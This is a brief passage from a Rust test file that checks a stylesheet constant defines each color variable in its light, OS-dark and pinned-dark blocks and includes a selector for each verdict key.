21626            // Light, OS-dark and pinned-dark blocks each define it.
21627            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
21628            assert!(
21629                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
21630                "{key}"
21631            );
21632        }
21633    }
21634}